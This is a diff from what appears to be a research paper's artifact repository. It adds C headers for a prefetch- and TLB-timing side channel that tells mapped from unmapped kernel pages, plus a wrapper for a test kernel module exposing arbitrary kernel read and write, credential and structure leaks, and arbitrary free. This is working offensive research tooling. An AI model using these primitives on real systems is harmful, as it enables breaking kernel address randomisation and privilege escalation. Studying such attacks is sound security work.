size_t flush_base = (size_t)flush_set;
|
||||
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
|
||||
|
||||
// dtlb
|
||||
for (size_t i = 0; i < HUGEPAGES; i++)
|
||||
maccess((void *)(flush_set_2M + (i << PAGESIZE_2M)));
|
||||
|
||||
// stlb
|
||||
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
|
||||
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
}
|
||||
|
||||
void flush_tlb_targeted(size_t addr, PageType type)
|
||||
{
|
||||
if (type == PAGE_4K)
|
||||
flush_tlb_targeted_4k(addr);
|
||||
else
|
||||
flush_tlb_targeted_2M(addr);
|
||||
}
|
||||
|
||||
/**
|
||||
* Timed access
|
||||
*/
|
||||
size_t __attribute__((noinline, aligned(4096))) onlyreload(size_t addr)
|
||||
{
|
||||
size_t t = TIMER_START();
|
||||
prefetch2((void *)addr);
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
size_t __attribute__((noinline, aligned(4096))) flushreload(size_t addr)
|
||||
{
|
||||
FLUSH_TLB_4K(addr);
|
||||
size_t t = TIMER_START();
|
||||
asm volatile("" ::: "memory");
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
prefetch2((void *)addr);
|
||||
asm volatile("" ::: "memory");
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
size_t __attribute__((noinline, aligned(4096))) flushsysreload(size_t addr)
|
||||
{
|
||||
FLUSH_TLB_4K(addr);
|
||||
syscall(-1);
|
||||
size_t t = TIMER_START();
|
||||
asm volatile("" ::: "memory");
|
||||
// prefetcht0((void*)addr);
|
||||
// prefetcht1((void*)addr);
|
||||
// prefetcht2((void*)addr);
|
||||
// prefetchnta((void*)addr);
|
||||
prefetch2((void *)addr);
|
||||
asm volatile("" ::: "memory");
|
||||
return TIMER_END() - t;
|
||||
}
|
||||
|
||||
#define HIST_SIZE_THRESHOLD 100
|
||||
|
||||
typedef struct DualThreshold_
|
||||
{
|
||||
unsigned lower;
|
||||
unsigned upper;
|
||||
} DualThreshold;
|
||||
|
||||
/**
|
||||
* Autodetect a good threshold to distinguish mapped from unmapped pages
|
||||
* best used via detect_threshold
|
||||
*/
|
||||
DualThreshold __attribute__((noinline, aligned(4096))) detect_threshold_single(size_t addr_mapped, size_t addr_unmapped)
|
||||
{
|
||||
const unsigned reps = 10000;
|
||||
size_t time_m;
|
||||
size_t time_um;
|
||||
size_t hist_m[HIST_SIZE_THRESHOLD] = {0};
|
||||
size_t hist_um[HIST_SIZE_THRESHOLD] = {0};
|
||||
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < reps; ++i) {
|
||||
prefetch2((void *)addr_mapped);
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
time_m = onlyreload(addr_mapped);
|
||||
time_um = onlyreload(addr_unmapped);
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
hist_m[MIN(HIST_SIZE_THRESHOLD - 2, time_m)]++;
|
||||
hist_um[MIN(HIST_SIZE_THRESHOLD - 2, time_um)]++;
|
||||
}
|
||||
|
||||
size_t sum[2] = {0};
|
||||
unsigned max = 0;
|
||||
unsigned threshold_i = 0;
|
||||
unsigned limit1 = 0;
|
||||
unsigned limit2 = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
sum[0] += hist_m[i];
|
||||
sum[1] += hist_um[i];
|
||||
if ((sum[0] - sum[1]) > max)
|
||||
max = (sum[0] - sum[1]);
|
||||
}
|
||||
sum[0] = 0;
|
||||
sum[1] = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
sum[0] += hist_m[i];
|
||||
sum[1] += hist_um[i];
|
||||
if (!limit1 && (sum[0] - sum[1]) >= 0.97 * max)
|
||||
limit1 = i;
|
||||
if (limit1 && !limit2 && (sum[0] - sum[1]) <= 0.97 * max) {
|
||||
limit2 = i;
|
||||
threshold_i = (limit1 + limit2) / 2;
|
||||
threshold_i += threshold_i % 2;
|
||||
}
|
||||
}
|
||||
DualThreshold t = {limit1, limit2};
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
/**
|
||||
* Autodetect a good threshold to distinguish mapped from unmapped pages
|
||||
* thresholds are inclusive, i.e use as <= Lower, >= Upper
|
||||
*/
|
||||
DualThreshold detect_threshold(size_t addr_mapped, size_t addr_unmapped, const unsigned reps)
|
||||
{
|
||||
size_t threshold_hist_lower[HIST_SIZE_THRESHOLD] = {0};
|
||||
size_t threshold_hist_upper[HIST_SIZE_THRESHOLD] = {0};
|
||||
// printf("Detecting mapped/unmapped threshold..\n");
|
||||
|
||||
// warmup
|
||||
for (unsigned i = 0; i < 20; i++)
|
||||
detect_threshold_single(addr_mapped, addr_unmapped);
|
||||
|
||||
for (unsigned i = 0; i < reps; i++) {
|
||||
DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped);
|
||||
threshold_hist_lower[t.lower]++;
|
||||
threshold_hist_upper[t.upper]++;
|
||||
}
|
||||
|
||||
unsigned threshold_l = 0;
|
||||
unsigned threshold_l_i = 0;
|
||||
unsigned threshold_u = 0;
|
||||
unsigned threshold_u_i = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE_THRESHOLD; i += 2) {
|
||||
if (threshold_hist_lower[i] > threshold_l) {
|
||||
threshold_l = threshold_hist_lower[i];
|
||||
threshold_l_i = i;
|
||||
}
|
||||
if (threshold_hist_upper[i] > threshold_u) {
|
||||
threshold_u = threshold_hist_upper[i];
|
||||
threshold_u_i = i;
|
||||
}
|
||||
}
|
||||
|
||||
DualThreshold t = {threshold_l_i, threshold_u_i};
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
int comp(const void *e1, const void *e2)
|
||||
{
|
||||
return *(size_t *)e1 > *(size_t *)e2;
|
||||
}
|
||||
|
||||
size_t hit(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
/* leaking */
|
||||
prefetch2((void *)addr);
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
time = onlyreload(addr);
|
||||
if (time <= THRESHOLD)
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t hit_accurate(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t times[tries];
|
||||
/* leaking */
|
||||
prefetch2((void *)addr);
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
time = onlyreload(addr);
|
||||
times[i] = time;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
time = times[tries / 4];
|
||||
return time <= THRESHOLD;
|
||||
}
|
||||
|
||||
#endif
|
485
paper/artifacts/include/ulkm.h
Normal file
485
paper/artifacts/include/ulkm.h
Normal file
|
@ -0,0 +1,485 @@
|
|||
#pragma once
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
#include "lkm.h"
|
||||
|
||||
static int lkm_fd = -1;
|
||||
void lkm_init(void)
|
||||
{
|
||||
lkm_fd = open("/dev/lkm", O_RDWR);
|
||||
if (lkm_fd < 0) {
|
||||
perror("open(/dev/lkm)");
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_read(size_t kaddr, size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.rd = {
|
||||
.kaddr = kaddr,
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_READ, (size_t)&msg);
|
||||
}
|
||||
void lkm_read(size_t kaddr, size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_read(kaddr, uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_write(size_t kaddr, size_t value)
|
||||
{
|
||||
msg_t msg = {
|
||||
.wr = {
|
||||
.kaddr = kaddr,
|
||||
.value = value,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_WRITE, (size_t)&msg);
|
||||
}
|
||||
void lkm_write(size_t kaddr, size_t value)
|
||||
{
|
||||
int ret = __lkm_write(kaddr, value);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_access_primitive(size_t addr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ap = {
|
||||
.addr = addr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ACCESS_PRIMITIVE, (size_t)&msg);
|
||||
}
|
||||
void lkm_access_primitive(size_t addr)
|
||||
{
|
||||
int ret = __lkm_access_primitive(addr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_dpm_test(void)
|
||||
{
|
||||
msg_t msg;
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_DPM_TEST, (size_t)&msg);
|
||||
}
|
||||
void lkm_dpm_test(void)
|
||||
{
|
||||
int ret = __lkm_dpm_test();
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_bpf_dpm_split(size_t size)
|
||||
{
|
||||
msg_t msg = {
|
||||
.dpms = {
|
||||
.size = size
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_BPF_DPM_SPLIT, (size_t)&msg);
|
||||
}
|
||||
void lkm_bpf_dpm_split(size_t size)
|
||||
{
|
||||
int ret = __lkm_bpf_dpm_split(size);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
|
||||
{
|
||||
msg_t msg = {
|
||||
.mrd = {
|
||||
.uaddr = uaddr,
|
||||
.msqid = msqid,
|
||||
.mtype = mtype,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_MSG_MSG_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_msg_msg_leak(size_t uaddr, size_t msqid, size_t mtype)
|
||||
{
|
||||
int ret = __lkm_msg_msg_leak(uaddr, msqid, mtype);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_seq_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
msg_t msg = {
|
||||
.frd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_SEQ_FILE_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_seq_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
int ret = __lkm_seq_file_leak(uaddr, fd);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
msg_t msg = {
|
||||
.frd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_FILE_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_file_leak(size_t uaddr, size_t fd)
|
||||
{
|
||||
int ret = __lkm_file_leak(uaddr, fd);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
|
||||
{
|
||||
msg_t msg = {
|
||||
.pbrd = {
|
||||
.uaddr = uaddr,
|
||||
.fd = fd,
|
||||
.rdend = rdend,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_PIPE_BUFFER_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_pipe_buffer_leak(size_t uaddr, size_t fd, size_t rdend)
|
||||
{
|
||||
int ret = __lkm_pipe_buffer_leak(uaddr, fd, rdend);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_cred_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_CRED_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_cred_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_cred_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_dpm_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_DPM_LEAK, (unsigned long)&msg);
|
||||
}
|
||||
void lkm_dpm_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_dpm_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_virt_base_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VIRTUAL_BASE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_virt_base_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_virt_base_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_stack_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_STACK_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_stack_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_stack_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_code_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_CODE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_code_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_code_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_vmemmap_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VMEMMAP_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_vmemmap_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_vmemmap_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_vmalloc_base_leak(size_t uaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.drd = {
|
||||
.uaddr = uaddr
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_VMALLOC_BASE_LEAK, (size_t)&msg);
|
||||
}
|
||||
void lkm_vmalloc_base_leak(size_t uaddr)
|
||||
{
|
||||
int ret = __lkm_vmalloc_base_leak(uaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_alloc(size_t id, size_t size)
|
||||
{
|
||||
msg_t msg = {
|
||||
.al = {
|
||||
.id = id,
|
||||
.size = size,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ALLOC, (size_t)&msg);
|
||||
}
|
||||
void lkm_alloc(size_t id, size_t size)
|
||||
{
|
||||
int ret = __lkm_alloc(id, size);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_free(size_t id)
|
||||
{
|
||||
msg_t msg = {
|
||||
.fr = {
|
||||
.id = id,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_FREE, (size_t)&msg);
|
||||
}
|
||||
void lkm_free(size_t id)
|
||||
{
|
||||
int ret = __lkm_free(id);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t __lkm_arb_free(size_t kaddr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.af = {
|
||||
.kaddr = kaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_ARB_FREE, (size_t)&msg);
|
||||
}
|
||||
void lkm_arb_free(size_t kaddr)
|
||||
{
|
||||
int ret = __lkm_arb_free(kaddr);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int __lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ptw = {
|
||||
.uaddr = uaddr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
int ret = ioctl(lkm_fd, LKM_PAGETABLE_WALK, (unsigned long)&msg);
|
||||
if (!ret) {
|
||||
if (pgde) *pgde = msg.ptw.pgde;
|
||||
if (pude) *pude = msg.ptw.pude;
|
||||
if (pmde) *pmde = msg.ptw.pmde;
|
||||
if (pte) *pte = msg.ptw.pte;
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
void lkm_arb_pagetable_wald(size_t uaddr, size_t *pgde, size_t *pude, size_t *pmde, size_t *pte)
|
||||
{
|
||||
int ret = __lkm_arb_pagetable_wald(uaddr, pgde, pude, pmde, pte);
|
||||
if (ret < 0) {
|
||||
printf("[!] ret %d\n", ret);
|
||||
_exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int lkm_is_4kb(size_t addr)
|
||||
{
|
||||
msg_t msg = {
|
||||
.ap = {
|
||||
.addr = addr,
|
||||
}
|
||||
};
|
||||
if (lkm_fd < 0) {
|
||||
printf("[!] lkm not init\n");
|
||||
_exit(-1);
|
||||
}
|
||||
return ioctl(lkm_fd, LKM_IS_4KB, (unsigned long)&msg);
|
||||
}
|
73
paper/artifacts/include/utils.h
Normal file
73
paper/artifacts/include/utils.h
Normal file
|
@ -0,0 +1,73 @@
|
|||
#pragma once
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/resource.h>
|
||||
|
||||
void set_limit(void)
|
||||
{
|
||||
int ret;
|
||||
struct rlimit l = {
|
||||
.rlim_cur = 100000,
|
||||
.rlim_max = 100000,
|
||||
};
|
||||
ret = setrlimit(RLIMIT_NOFILE, &l);
|
||||
if (ret < 0) {
|
||||
perror("setrlimit");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void pin_to_core(size_t core)
|
||||
{
|
||||
int ret;
|
||||
cpu_set_t cpuset;
|
||||
|
||||
CPU_ZERO(&cpuset);
|
||||
CPU_SET(core, &cpuset);
|
||||
|
||||
ret = sched_setaffinity(0, sizeof(cpu_set_t), &cpuset);
|
||||
if (ret) {
|
||||
perror("sched_setaffinity: ");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
size_t mem_total_rounded;
|
||||
void get_total_memory(void)
|
||||
{
|
||||
FILE *fp;
|
||||
char input[100];
|
||||
|
||||
size_t mem_total_kb;
|
||||
|
||||
/* Open the command for reading. */
|
||||
fp = popen("awk '/MemTotal/ { print $2 }' /proc/meminfo", "r");
|
||||
if (fp == NULL) {
|
||||
printf("[!] Failed to get MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Read the output a line at a time - output it. */
|
||||
if (fgets(input, sizeof(input), fp) != NULL) {
|
||||
mem_total_kb = atoi(input);
|
||||
if (mem_total_kb == 0) {
|
||||
printf("[!] Failed to convert MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
mem_total_rounded = (mem_total_kb+(1<<20)-1)/(1<<20) << 30;
|
||||
printf("[*] MemTotal: %luB\n", mem_total_rounded);
|
||||
}
|
||||
else {
|
||||
printf("[!] Failed to get MemTotal\n" );
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* close */
|
||||
pclose(fp);
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue